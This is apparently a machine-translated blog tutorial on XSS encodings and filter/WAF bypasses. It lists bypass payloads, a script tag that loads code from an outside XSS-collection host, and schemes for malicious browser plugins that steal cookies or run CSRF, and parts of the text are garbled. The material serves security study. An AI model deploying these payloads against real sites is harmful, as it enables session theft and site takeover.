XSS Principle Analysis and anatomy: Chapter 4 (coding and bypassing)

XSS Principle Analysis and anatomy: Chapter 4 (coding and bypassing)

0 × 01 Preface

Sorry, I have been pushing the fourth chapter for a few months. Today is New Year's Day, so I will write down Chapter 4. I will first describe the encoding mainly used, and I will talk about it later.

We recommend that you read this article together with the miscellaneous about how to bypass WAF.

0 × 02 URL Encoding

URLs only allow printable characters in the US-ASCII character set (0 × 20-0x7x), some of which have special meaning in the HTTP protocol, so some cannot be used. Note that the plus sign (+) represents the URL-encoded space, and the plus sign (% 20) is also used.

The longest possible URL encoding is when GET/POST is used for transmission, the order is to change the character to % + ASCII two hexadecimal (convert the string to ASCII encoding first, then convert it to hexadecimal format ).

This may be used to encode dom xss, as I said last time.

SECTION 0 × 04 dom xss encodes the URL of a = in the URL in chrome maxthon firefox, and can only be successful in the 360 browser, this means that the browser performs URL encoding on the URL.

0 × 03 unicode encoding

 

Unicode has 1114112 characters, that is, 1114112 characters can be allocated. The Unicode character is prefixed with % u, followed by the hexadecimal unicode code point of this character.

 

Unicode encoding is mentioned in this article because some sites filter some strings, but find that this site recognizes unicode encoding when verifying strings at the backend, then we can change our attack code to unicode encoding to bypass the site filtering mechanism.

0 × 04 HTML Encoding

The existence of HTML encoding is to separate the code from the display to avoid errors. His named entity: constructor is & added with Greek letters, character encoding: constructor is & # plus decimal, hexadecimal ASCII, or unicode character encoding, in addition, the browser parses html encoding before rendering. But there is a premise that it must be in the "value", such as the property src, but it cannot be html encoded for src. Otherwise, the browser cannot render normally.

For example:

It can be displayed normally.
 

However, when you encode src or img in html, the following code cannot be used:

 

0 × 05 CSS Encoding

This is not very common. Yes. Add the 1-6 hexadecimal notation to the slash.

This encoding is useful when expression can be used to call js before IE5. Most of them are currently used for small CSS icons.

0 × 06 hypothesis

Whether the src value in the script tag of the website detection is a website (the keyword includes http & https & com & cn & net & js)

So how can we bypass it? Let's look at the following instance code:

<scriptsrc="http://xss8.pw/bgFfBx?1419229565"></script>

Open the review element-network, and we can see that our JS has been loaded.

 

 

This is also available on the XSS platform.

 

0 × 06 common bypass Methods

<SCrIpt> alert (1) </script> <script % 20src % 3D "http % 3A % 2F % 2F0300. 0250.0000.0001 "> <% 2 Fscript> <scr <script> rip> alalertert </scr </script> rip> (use the incompleteness of waf) <script> eval (String. fromCharCode (97,108,101,114,116, 40, 39,120,115,115, 39, 41) </script>

 

Tag attribute = "javascript: JS Code" (only applicable to attributes that support the js pseudo Protocol)

<Tag on event = "js Code">

<scriptwoaini>alert(123)</scriptwoaini>

The browser regards the line feed TAB character as a space and the subsequent characters as attributes for parsing.

And so on. In fact, this chapter does not talk too much about it. There are also few dry goods. There is no way to say that the "talking about bypassing WAF" mentioned above is too detailed. I don't know what to say. Let's take a look at the next section. There are still some dry goods. There is too much information on the Internet for XSS bypass. It is difficult to say something that others have not said.

0 × 07 plugin Security

This section does not belong to this chapter, so I took it out specially. I also hope that you will pay attention to the security issues of browser plug-ins.

I have said this many times when I talk about how to bypass WAF.

 

Even if your website is secure, how can WAF be complete. I can still bypass the plug-in. The plug-in has its own particularity, which also makes it a security problem, that is, "cross-origin ".

 

I will explain how the plug-in renders the page:

The user opens the website -- sends data packets -- the server responds and sends the Response package -- the browser receives the Response package -- Rendering (rendering the Response package first, then rendering the plug-in code)

That is to say, I wrote a piece of js in the plug-in, so after the user installs it, anyone who opens the website. After rendering in the browser, you can get the cookies of the user. If the attacker is prepared in advance, the attacker can also use the csrf attack. Here we boldly assume that:

Suppose 1: attackers encapsulate XSS code in the plug-in and upload it to the browser plug-in to download the website (the management is lax, and the administrator cannot view a line of code at all). After the upload is successful. Download and install the SDK. Then attackers can sit in front of the computer, drink coffee, and watch the refreshing xss data stream...

Hypothesis 2: The attacker owns dedecms's csrf (which can be added as an administrator), followed by the same as hypothesis 1. When the website administrator accidentally installs or uses a browser with a plug-in, the website will be controlled by attackers. Some people may ask how the chances are so small that they may run to me. It is not likely to be on you, but it may be on another Webmaster. When you think about the number of Chinese webmasters, I believe you will understand.

Suppose 3: the attacker has the XSC vulnerability of a browser plug-in. Combined with the plug-in security issues, the user can open a website and install the plug-in without knowing it. Some may say, with XSC, I can execute arbitrary code directly. Who else can install the plug-in easily. What If attackers want to launch attacks in the form of attacks? Besides, it is more difficult to control computers to obtain cookies than to directly install plug-ins? Of course, attackers can also perform the same operation at the same time.

Of course, many people may say that I am not afraid of installing a safe, healthy, green, and pollution-free plug-in.
 

 

What the landlord said is very rational, but you have ignored the security issues of the plug-in itself. What I said previously was to use the special nature of the plug-in to complete the attack, but I did not say the security of the plug-in itself.

 

At this time, I am afraid someone has another question. Even if the plug-in is not secure, the user needs to input a special string to complete the attack. Isn't that just inserting yourself.

This is not the plug-in security issue, but the control of the plug-in data flow. Because the security issues of plug-ins do not have much value to use, most of the time they are plug-in themselves.

Assume there is an online translation plug-in, mouse slide word, and automatic translation. This technology requires the use of AJAX, while AJAX uses the APIS provided by the vendor, and the APIs are mostly in second-level domain names, with relatively low security. If you control the API, you can control the data flow sent by the API to the plug-in to attack the agent.

The flowchart is as follows:

Hackers discovered the API Website Security Vulnerability called by the plug-in-rewrite the sent data packet-the plug-in obtains the overwritten API data-parse and render malicious code to the page-the attack was successful.

Of course, more than APIs, some plug-ins also call external JS, CSS, iframe (HTML) and so on, we can also control them to complete the attack.

It is time to pay attention to the plug-in issue. Let me release a small vulnerability, which was previously demonstrated at the JSEC Salon. The harm is not too big, but it should be enough to let everyone pay attention to plug-ins.
 

Double-click the ceshi. mxaddon file (you need to install the browser ). The source code is in the ceshi directory, and def. json is a travel plug-in Vulnerability (the go to the Travel plug-in management page will pop up. Test. js is what I said in this section. When you open any website, it will pop up ).

Anyone who wants to submit the ticket should submit the ticket. Of course, I believe that at this time, the travel security team has seen and fixed the issue. I like to see how quickly hackers and vulnerability fixing personnel compare each other.
I believe someone is starting to scold me. No way. I just don't like submitting.